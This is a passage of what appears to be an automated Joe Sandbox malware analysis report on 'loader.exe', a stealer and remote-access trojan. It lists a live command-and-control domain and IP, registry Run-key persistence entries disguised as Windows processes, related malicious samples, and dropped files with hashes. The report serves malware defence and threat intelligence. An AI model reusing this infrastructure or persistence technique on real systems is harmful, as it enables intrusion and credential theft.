https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	false		high
http://www.enigmaprotector.com/openU	loader.exe, 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmp	false		high
http://373292cm.nyP	RuntimeBroker.exe, 00000011.00000002.3435800974.00000000039DF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	false		high
http://373292cm.nyashka.top/	RuntimeBroker.exe, 00000011.00000002.3435800974.00000000037B4000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	false		high
http://373292cm.nyPR	RuntimeBroker.exe, 00000011.00000002.3435800974.00000000039DF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.enigmaprotector.com/	loader.exe, 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmp, loader.exe, 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmp	false		high
https://www.ecosia.org/newtab/	RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	chainPorthostCommon.exe, 00000005.00000002.2352626856.000000000319A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3435800974.00000000037B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
37.44.238.250	373292cm.nyashka.top	France		49434	HARMONYHOSTING-ASFR	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588885
Start date and time:	2025-01-11 06:41:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	loader.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@35/291@2/1
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 20.109.210.53, 184.28.90.27
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target RuntimeBroker.exe, PID 6008 because it is empty
Execution Graph export aborted for target chainPorthostCommon.exe, PID 2884 because it is empty
Execution Graph export aborted for target conhost.exe, PID 1488 because it is empty
Execution Graph export aborted for target conhost.exe, PID 4024 because it is empty
Execution Graph export aborted for target dasHost.exe, PID 3404 because it is empty
Execution Graph export aborted for target dasHost.exe, PID 5872 because it is empty
Execution Graph export aborted for target tQESKTdysPpsVzUyXTE.exe, PID 2360 because it is empty
Execution Graph export aborted for target tQESKTdysPpsVzUyXTE.exe, PID 5132 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:43:14	API Interceptor	370991x Sleep call for process: RuntimeBroker.exe modified
06:43:09	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Windows\LiveKernelReports\RuntimeBroker.exe"
06:43:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run csrss "C:\Program Files (x86)\microsoft\csrss.exe"
06:43:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run dasHost "C:\Windows\DiagTrack\Scenarios\dasHost.exe"
06:43:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run conhost "C:\Recovery\conhost.exe"
06:43:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run tQESKTdysPpsVzUyXTE "C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe"
06:43:55	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run chainPorthostCommon "C:\ServerWinRuntimeBroker\chainPorthostCommon.exe"
06:44:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Windows\LiveKernelReports\RuntimeBroker.exe"
06:44:12	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run csrss "C:\Program Files (x86)\microsoft\csrss.exe"
06:44:20	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run dasHost "C:\Windows\DiagTrack\Scenarios\dasHost.exe"
06:44:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run conhost "C:\Recovery\conhost.exe"
06:44:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run tQESKTdysPpsVzUyXTE "C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe"
06:44:45	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run chainPorthostCommon "C:\ServerWinRuntimeBroker\chainPorthostCommon.exe"
06:44:53	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Windows\LiveKernelReports\RuntimeBroker.exe"
06:45:02	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run csrss "C:\Program Files (x86)\microsoft\csrss.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37.44.238.250	PlZA6b48MW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	505905cm.n9shka.top/imagePollLinuxCentral.php
	r6cRyCpdfS.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	321723cm.renyash.ru/AuthdbBasetraffic.php
	cbCjTbodwa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	whware.top/RequestLowGeoLongpollWordpress.php
	vb8DOBZQ4X.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	228472cm.n9shka.top/PhpauthGamelongpollBigloadbaseLinuxWindowstrackDatalife.php
	8k1e14tjcx.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	703648cm.renyash.top/provider_cpugame.php
	4si9noTBNw.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	306039cm.nyashcrack.top/geoGeneratorwordpresswpprivatetempDownloads.php
	Qsi7IgkrWa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	595506cm.n9shka.top/BigloadgeneratortraffictestDatalifeTemp.php
	4Awb1u1GcJ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	143840cm.nyashteam.ru/DefaultPublic.php
	s5duotgoYD.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	500154cm.n9shteam.in/eternallineHttpprocessorwindowsDatalifedleprivatecentral.php
	QMT2731i8k.exe	Get hash	malicious	DCRat	Browse	117813cm.n9shteam.in/ExternalRequest.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
373292cm.nyashka.top	fluent.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	Internal.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	Fatality.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	Nerolore.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	jW5TA1J9Z1.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HARMONYHOSTING-ASFR	PlZA6b48MW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	37.44.238.250
	r6cRyCpdfS.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	37.44.238.250
	cbCjTbodwa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	37.44.238.250
	vb8DOBZQ4X.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	37.44.238.250
	dlr.arm7.elf	Get hash	malicious	Mirai	Browse	37.44.238.94
	dlr.mips.elf	Get hash	malicious	Mirai	Browse	37.44.238.94
	dlr.mpsl.elf	Get hash	malicious	Mirai	Browse	37.44.238.94
	dlr.arm6.elf	Get hash	malicious	Unknown	Browse	37.44.238.94
	8k1e14tjcx.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	37.44.238.250
	roze.sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	37.44.238.73

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\BLdnhdFQ.log	hz7DzW2Yop.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	3XtEci4Mmo.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	wxl1r0lntg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	HaLCYOFjMN.exe	Get hash	malicious	DCRat, PureLog Stealer, RedLine, XWorm, zgRAT	Browse
	Z90Z9bYzPa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	0J5DzstGPi.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	6d86b21fec8d0f8698e2e22aeda3fbd0381300e8a746b.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	aW6kSsgdvv.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	HMhdtzxEHf.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	kJrNOFEGbQ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Program Files (x86)\Microsoft\886983d96e3d3e

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	ASCII text, with very long lines (721), with no line terminators
Category:	dropped
Size (bytes):	721
Entropy (8bit):	5.899221453660396
Encrypted:	false
SSDEEP:	12:Rezhb37ou/6fmTteOoAdsTGSUuMOOM/RwwDKkMOl8ODSp5CGR6rDDq3nLq+vEV3t:RetDMHG0A6TUuF/RwwDrMOy0Sp5CGR6d
MD5:	EE6F2A747EF4D7C1FC1B68B0BA6FFC2E
SHA1:	2BAE065E2D6D554591E2F1B5A1CC91D6FEF5437F
SHA-256:	7B93350BE80D2A2DBF9E6D326DC5F7320FCC1A297E61B7C15B4C17C1B4BD527F
SHA-512:	CCDC7F9B001B8C4F7DA19D60D93904A99E51193E073474B966DAD6B17AC1E2B56D12E1738A2820B98979340D6163EF4738A32728CD6B7DCB9F121BF145B01697
Malicious:	false
Preview:	OvZXhBsLL1MWVkNRFiv8dWkf0GzRujYKLuTpOw7oJoVCIyOlRJwqTVP1L3haLbbmdCKlQiDSlHzzBiWB1O9lws0zfceUPgcrNtjGonUsFeEMgazmgfj7bzzuLUFyDsDFoHlS9PXO3RfSnoSFm1xt7fPX3y5TifoXa9iZyhmRIVEKUhHgBAMM5UII1OZLUDpXmI1oG3QFOgklbFCWrYRhTcbG0ZhjIb6EpqiMpcaIuH7YugrwMCe5wIEJqvxrVq7xjf6ug0rO8JxLfCWUrvXF7ASgmZf4otwDKJyOj7PVVP7nV2nnZdAkT1zjNaHHUwjOWuBVOHutgBtsDpLuv2eLtMtSUPAJ0HBipsQl1RZRsQERHHgiPXVcSYfJAsB8Hl3YALCUYk2ecNccIcKNtc4cwiQQNHkIQbKHXpQ6ELJpe09E6DBihyOoralb4vGR9uOBDVEcLOIhSO85iMUJFCkcMfZ7EzBSF2pum8Ak9iWTprVccq2sa7L7Jwyh6HYWM0cajOSkLuKhqQwfK6eX6T1HrskzKco1K9HzO53OXShqxoR39TX9mAa28Ut0ncZsFSXqJ7QODQ9nwLUCbq00FpPJjO03MCk42ykeRktCCJ6VAwGwAqZ7minaCNH4GXCAqFv7lzv06yy5t3IwHE2gnnSTLJbDdz5pH5p5BJLK5iAyurrJFUxCegWCxbvbXrXH2JyxOMu72skFndjebS7IB

C:\Program Files (x86)\Microsoft\Edge\Application\CSC1E4D641D33A148FC98C6B9EA6A6669B1.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1168
Entropy (8bit):	4.448520842480604
Encrypted:	false
SSDEEP:	24:mZxT0uZhNB+h9PNnqNdt4+lEbNFjMyi07:yuulB+hnqTSfbNtme
MD5:	B5189FB271BE514BEC128E0D0809C04E
SHA1:	5DD625D27ED30FCA234EC097AD66F6C13A7EDCBE
SHA-256:	E1984BA1E3FF8B071F7A320A6F1F18E1D5F4F337D31DC30D5BDFB021DF39060F
SHA-512:	F0FCB8F97279579BEB59F58EA89527EE0D86A64C9DE28300F14460BEC6C32DDA72F0E6466573B6654A1E992421D6FE81AE7CCE50F27059F54CF9FDCA6953602E
Malicious:	false
Preview:	.... ...........................D...<...............0...........D.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...8.....I.n.t.e.r.n.a.l.N.a.m.e...m.s.e.d.g.e...e.x.e.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...@.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...m.s.e.d.g.e...e.x.e.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <security>.. <requestedPrivileges xmlns="urn:schemas-micro

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.902174974132922
Encrypted:	false
SSDEEP:	48:6XmJtjuxZ8RxeOAkFJOcV4MKe28dTd4iE7ckvqBHzuulB+hnqXSfbNtm:P9xvxVx9zJE7ckvklTkZzNt
MD5:	3E25AB82C7652239BB3F860C3C95ECA7
SHA1:	10D48CC2208E0E69038416D13CFD5310AAC115C0
SHA-256:	4E979BA1BD562AB35B1911920384F7126ABBF449B63E76E6B9B00972BAF54331
SHA-512:	A80FB6B067E63FB2A00324253DEAACE98A320DA239140ADADC02C4222309EF757E20BB185FA498924D46824A88FFF6700E2405532BD643B879769E8A3BCF505D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.............................'... ...@....@.. ....................................@.................................X'..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..0.............................................................(.....0..!.......r...pr...p.{....(....(....&..&......................0..........r...p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings............#US.........#GUID....... ...#Blob...........WU........%3................................................................

C:\Program Files (x86)\Microsoft\csrss.exe

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1960448
Entropy (8bit):	7.549634788914284
Encrypted:	false
SSDEEP:	49152:rmEq5m1AfIGxLnCllU3WU8zMYCNCsr+QKujfx:rmEq5GGxLnIlP2NgQKGfx
MD5:	CF5B49706562BA2047CDA4A451DD573A
SHA1:	D7D66016B5EA4215581F208C7972B2FF49CBEED1
SHA-256:	74547E5B862BD3691947B78EABBDAB88C468E26144BD03911BE68941376DC89B
SHA-512:	0DC54FC8AFE4A1B8CE0D72E215CF617DBC657F4E02CABE7BE694B0D20BE385F63848E49717BD4856547DBB52F8A762E54C63323B53188CC1D8127C54B6A10F1E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Microsoft\csrss.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\csrss.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
